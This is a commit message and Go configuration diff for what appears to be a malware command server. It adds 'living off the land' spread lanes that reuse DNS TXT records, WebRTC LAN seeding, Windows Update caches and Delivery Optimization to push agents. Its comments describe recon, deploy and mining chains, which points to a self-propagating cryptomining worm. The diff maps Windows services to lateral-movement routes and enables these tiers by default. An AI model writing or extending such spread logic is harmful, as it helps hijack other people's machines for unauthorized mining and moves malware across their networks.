Add dns_txt, webrtc_mesh, and wsus_cache_peer LOTL deploy tiers with Forge toggles.

Implements three new spread lanes following the do_peer pattern: DNS TXT mesh staging, WebRTC LAN seed manifest delivery, and WSUS SoftwareDistribution cousin handoff. Integrates tiers into onion chain, deploy-plan allowlist, Forge UI/docs, and tests.

server/config.go

@@ -73,10 +73,21 @@ type ServerSettings struct {
 	LotlOnionTiers []string `json:"lotl_onion_tiers,omitempty"`
 	// ServiceDeployAllowlist maps discovered service names to LOTL join lanes for discover_and_join.
 	ServiceDeployAllowlist map[string]ServiceDeployLane `json:"service_deploy_allowlist,omitempty"`
+	// DNSZone is the suffix for _aether.<zone> TXT mesh records (e.g. site.internal).
+	DNSZone string `json:"dns_zone,omitempty"`
+	// WebRTCMeshPolicy controls LAN seeder rotation and STUN for webrtc_mesh spread.
+	WebRTCMeshPolicy WebRTCMeshPolicySettings `json:"webrtc_mesh_policy,omitempty"`
 	// TripleOnionPolicy gates recon → deploy → mining chains pushed to agents at auth.
 	TripleOnionPolicy TripleOnionSettings `json:"triple_onion_policy,omitempty"`
 }
 
+// WebRTCMeshPolicySettings is Calibrate policy for WebRTC LAN seed spread.
+type WebRTCMeshPolicySettings struct {
+	Enabled       bool     `json:"enabled,omitempty"`
+	STUNServers   []string `json:"stun_servers,omitempty"`
+	RotationHours int      `json:"rotation_hours,omitempty"`
+}
+
 // TripleOnionSettings is Calibrate policy for the agent triple onion.
 type TripleOnionSettings struct {
 	PatchFirst           bool     `json:"patch_first,omitempty"`
@@ -259,8 +270,15 @@ func DefaultConfig() *Config {
 			LotlOnionTiers: []string{
 				"vuln_recon",
 				"docker", "wsl", "powershell", "dotnet", "bits_curl",
+				"do_peer", "wsus_cache_peer", "dns_txt", "webrtc_mesh",
 				"smb", "winrm", "linux", "gpo",
 			},
+			DNSZone: "internal",
+			WebRTCMeshPolicy: WebRTCMeshPolicySettings{
+				Enabled:       false,
+				STUNServers:   []string{"stun:stun.l.google.com:19302"},
+				RotationHours: 24,
+			},
 			ServiceDeployAllowlist: defaultServiceDeployAllowlist(),
 		},
 	}
@@ -963,6 +981,14 @@ func (c *Config) Save() error {
 
 func defaultServiceDeployAllowlist() map[string]ServiceDeployLane {
 	return map[string]ServiceDeployLane{
+		"DoSvc":                  {Lane: "do_peer", Priority: 35},
+		"Delivery Optimization":  {Lane: "do_peer", Priority: 35},
+		"Wuauserv":               {Lane: "wsus_cache_peer", Priority: 34},
+		"wuauserv":               {Lane: "wsus_cache_peer", Priority: 34},
+		"Windows Update":         {Lane: "wsus_cache_peer", Priority: 34},
+		"dns_txt:_aether":        {Lane: "dns_txt", Priority: 33},
+		"dns_txt":                {Lane: "dns_txt", Priority: 33},
+		"webrtc_mesh":            {Lane: "webrtc_mesh", Priority: 32},
 		"CCMEXEC":                {Lane: "bits_curl", Priority: 10},
 		"CcmExec":                {Lane: "bits_curl", Priority: 10},
 		"BITS":                   {Lane: "bits_curl", Priority: 8},